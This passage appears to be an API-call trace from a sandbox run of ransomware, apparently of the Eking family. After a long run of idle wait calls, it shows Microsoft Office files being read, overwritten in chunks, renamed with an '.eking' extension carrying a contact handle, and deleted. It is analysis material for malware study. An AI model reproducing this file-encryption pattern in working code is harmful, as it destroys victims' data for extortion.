dwMilliseconds=0xffffffff) returned 0x0 [0077.267] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0077.267] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0077.267] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0077.267] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0077.267] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0077.267] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0077.268] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0077.268] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0077.268] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0077.268] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0077.268] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0077.268] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0077.268] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0077.268] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0077.269] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0077.269] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0077.269] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0077.269] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0077.269] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0077.269] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0077.269] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0077.269] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0077.269] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0077.270] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0077.270] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0077.270] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0077.270] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0077.270] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0077.270] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0077.270] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0077.270] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0077.270] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0077.271] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0077.271] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0077.271] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0077.271] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0077.271] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0077.271] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0077.271] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0077.271] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0077.272] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0077.272] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0077.272] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0077.272] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0077.272] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0077.272] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0077.272] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0077.272] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0077.272] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0077.273] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0077.273] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0077.273] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0077.273] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0077.273] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0077.273] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0077.273] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0077.274] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0077.274] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0077.274] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0077.274] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0077.274] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0077.274] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0077.274] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0077.274] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0077.274] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0077.275] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0077.275] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0077.275] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0077.275] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0077.275] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0077.275] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0077.275] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0077.275] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0077.276] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0077.276] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0077.276] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0077.276] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0077.276] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0077.276] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0077.276] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0077.276] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0077.277] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0077.277] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0077.277] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0077.277] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0077.277] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0077.277] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0077.277] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0077.277] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0077.277] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0077.278] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0077.278] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0077.278] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0077.278] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0077.278] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0077.278] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0077.278] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0077.278] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0077.278] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0077.279] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0077.279] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0077.279] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0077.279] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0077.279] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0077.279] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0077.279] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0077.279] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0077.280] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0077.280] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0077.280] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0077.280] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0077.280] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0077.280] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0077.280] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0077.280] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0077.281] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0077.281] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0077.281] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0077.281] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0077.281] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0077.282] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0077.282] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0077.282] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0077.282] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0077.282] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0077.282] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0077.282] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0077.282] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0077.283] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0077.283] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0077.283] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0077.283] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0077.283] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0077.283] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0077.283] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0077.283] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0077.284] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0077.284] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0077.284] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0077.284] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0077.284] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0077.284] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0077.284] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0077.284] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0077.284] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0077.285] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0077.285] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0077.285] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0077.285] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0077.285] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0077.285] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0077.285] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0077.285] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0077.285] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0077.286] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0077.286] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0077.286] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0077.286] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0077.286] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0077.286] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0077.286] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0077.286] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0077.286] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0077.287] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0077.287] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0077.287] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0077.287] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0077.287] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0077.287] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0077.287] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0077.287] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0077.288] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0077.288] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0077.288] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0077.288] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0077.288] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0077.288] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0077.288] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0077.288] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0077.289] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0077.289] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0077.289] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0077.289] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0077.290] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0077.290] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0077.290] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0077.290] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0077.290] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0077.291] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0077.291] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0077.291] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0077.291] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0077.291] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0077.291] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0077.291] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0077.291] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0077.291] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0077.292] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0077.292] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0077.292] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0077.292] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0077.292] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0077.292] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0077.292] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0077.292] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0077.293] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0077.293] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0077.293] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0077.293] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0077.293] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0077.293] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0077.293] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0077.293] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0077.294] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0077.294] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0077.294] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0077.294] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0077.294] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0087.996] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x397f7c8 | out: lpNewFilePointer=0x0) returned 1 [0087.996] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x397f7c8 | out: lpNewFilePointer=0x0) returned 1 [0087.996] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\DBSAMPLE.MDB.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\dbsample.mdb.id[b4197730-2888].[icq@fartwetsquirrel].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x220, hTemplateFile=0x0) returned 0x334 [0088.006] ReadFile (in: hFile=0x330, lpBuffer=0x3df2020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x397f7d4, lpOverlapped=0x0 | out: lpBuffer=0x3df2020*, lpNumberOfBytesRead=0x397f7d4*=0x7c000, lpOverlapped=0x0) returned 1 [0088.056] WriteFile (in: hFile=0x334, lpBuffer=0x3df2020*, nNumberOfBytesToWrite=0x7c010, lpNumberOfBytesWritten=0x397f7b8, lpOverlapped=0x0 | out: lpBuffer=0x3df2020*, lpNumberOfBytesWritten=0x397f7b8*=0x7c010, lpOverlapped=0x0) returned 1 [0088.067] WriteFile (in: hFile=0x334, lpBuffer=0x3df2020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x397f7b8, lpOverlapped=0x0 | out: lpBuffer=0x3df2020*, lpNumberOfBytesWritten=0x397f7b8*=0xf2, lpOverlapped=0x0) returned 1 [0088.067] CloseHandle (hObject=0x330) returned 1 [0088.067] CloseHandle (hObject=0x334) returned 1 [0088.348] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\DBSAMPLE.MDB" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\dbsample.mdb")) returned 1 [0088.461] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ACCWIZ\\ACWZLIB.ACCDE" (normalized: "c:\\program files\\microsoft office\\root\\office16\\accwiz\\acwzlib.accde"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ACCWIZ\\ACWZLIB.ACCDE.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\microsoft office\\root\\office16\\accwiz\\acwzlib.accde.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 1 [0088.480] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ACCWIZ\\ACWZLIB.ACCDE.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\microsoft office\\root\\office16\\accwiz\\acwzlib.accde.id[b4197730-2888].[icq@fartwetsquirrel].eking"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0088.480] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x397f650 | out: lpNewFilePointer=0x0) returned 1 [0088.480] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x397f650 | out: lpNewFilePointer=0x0) returned 1 [0088.480] ReadFile (in: hFile=0x338, lpBuffer=0x3df2058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x397f65c, lpOverlapped=0x0 | out: lpBuffer=0x3df2058*, lpNumberOfBytesRead=0x397f65c*=0x40000, lpOverlapped=0x0) returned 1 [0088.554] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0xaa000, lpNewFilePointer=0x0, dwMoveMethod=0x397f650 | out: lpNewFilePointer=0x0) returned 1 [0088.554] ReadFile (in: hFile=0x338, lpBuffer=0x3e32058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x397f65c, lpOverlapped=0x0 | out: lpBuffer=0x3e32058*, lpNumberOfBytesRead=0x397f65c*=0x40000, lpOverlapped=0x0) returned 1 [0088.595] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x1be000, lpNewFilePointer=0x0, dwMoveMethod=0x397f650 | out: lpNewFilePointer=0x0) returned 1 [0088.595] ReadFile (in: hFile=0x338, lpBuffer=0x3e72058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x397f65c, lpOverlapped=0x0 | out: lpBuffer=0x3e72058*, lpNumberOfBytesRead=0x397f65c*=0x40000, lpOverlapped=0x0) returned 1 [0088.696] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x397f7c0 | out: lpNewFilePointer=0x0) returned 1 [0088.696] WriteFile (in: hFile=0x338, lpBuffer=0x3df2020*, nNumberOfBytesToWrite=0xc0112, lpNumberOfBytesWritten=0x397f7b8, lpOverlapped=0x0 | out: lpBuffer=0x3df2020*, lpNumberOfBytesWritten=0x397f7b8*=0xc0112, lpOverlapped=0x0) returned 1 [0088.930] SetEndOfFile (hFile=0x338) returned 1 [0088.931] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x1be000, lpNewFilePointer=0x0, dwMoveMethod=0x397f658 | out: lpNewFilePointer=0x0) returned 1 [0088.931] WriteFile (in: hFile=0x338, lpBuffer=0x3eb214a*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x397f664, lpOverlapped=0x0 | out: lpBuffer=0x3eb214a*, lpNumberOfBytesWritten=0x397f664*=0x40000, lpOverlapped=0x0) returned 1 [0088.935] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0xaa000, lpNewFilePointer=0x0, dwMoveMethod=0x397f658 | out: lpNewFilePointer=0x0) returned 1 [0088.935] WriteFile (in: hFile=0x338, lpBuffer=0x3eb214a*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x397f664, lpOverlapped=0x0 | out: lpBuffer=0x3eb214a*, lpNumberOfBytesWritten=0x397f664*=0x40000, lpOverlapped=0x0) returned 1 [0088.937] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x397f658 | out: lpNewFilePointer=0x0) returned 1 [0088.937] WriteFile (in: hFile=0x338, lpBuffer=0x3eb214a*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x397f664, lpOverlapped=0x0 | out: lpBuffer=0x3eb214a*, lpNumberOfBytesWritten=0x397f664*=0x40000, lpOverlapped=0x0) returned 1 [0088.939] CloseHandle (hObject=0x338) returned 1 [0089.999] ResetEvent (hEvent=0x2ec) returned 1 [0089.999] SetEvent (hEvent=0x2f4) returned 1 [0089.999] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ACCWIZ\\ACWZTOOL.ACCDE" (normalized: "c:\\program files\\microsoft office\\root\\office16\\accwiz\\acwztool.accde"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0090.002] GetFileSizeEx (in: hFile=0x338, lpFileSize=0x397f800 | out: lpFileSize=0x397f800*=11493376) returned 1 [0090.002] CloseHandle (hObject=0x338) returned 1 [0090.002] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ACCWIZ\\ACWZTOOL.ACCDE" (normalized: "c:\\program files\\microsoft office\\root\\office16\\accwiz\\acwztool.accde")) returned 0x220 [0090.002] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ACCWIZ\\ACWZTOOL.ACCDE" (normalized: "c:\\program files\\microsoft 